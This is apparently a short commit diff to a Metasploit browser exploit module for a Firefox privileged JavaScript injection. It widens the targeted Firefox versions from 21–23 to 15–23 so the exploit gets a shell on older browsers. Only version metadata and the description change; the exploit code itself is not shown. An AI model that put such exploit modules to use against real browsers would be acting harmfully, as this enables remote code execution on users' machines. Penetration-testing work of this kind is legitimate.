Wow, this gets a shell all the way back to 15.0.

Author: joevennix

modules/exploits/multi/browser/firefox_tostring_console_injection.rb

@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   autopwn_info({
     :ua_name    => HttpClients::FF,
-    :ua_minver  => "21.0",
+    :ua_minver  => "15.0",
     :ua_maxver  => "23.0",
     :javascript => true,
     :rank       => ExcellentRanking
@@ -24,7 +24,7 @@ def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Firefox toString console.time Privileged Javascript Injection',
       'Description'    => %q{
-        This exploit gains remote code execution on Firefox 21-23 by abusing two separate
+        This exploit gains remote code execution on Firefox 15-23 by abusing two separate
         Javascript-related vulnerabilities to ultimately inject malicious Javascript code
         into a context running with chrome:// privileges.
       },
@@ -55,7 +55,7 @@ def initialize(info = {})
       'BrowserRequirements' => {
         :source  => 'script',
         :ua_name => HttpClients::FF,
-        :ua_ver  => lambda { |ver| ver.to_i.between?(21, 23) }
+        :ua_ver  => lambda { |ver| ver.to_i.between?(15, 23) }
       }
     ))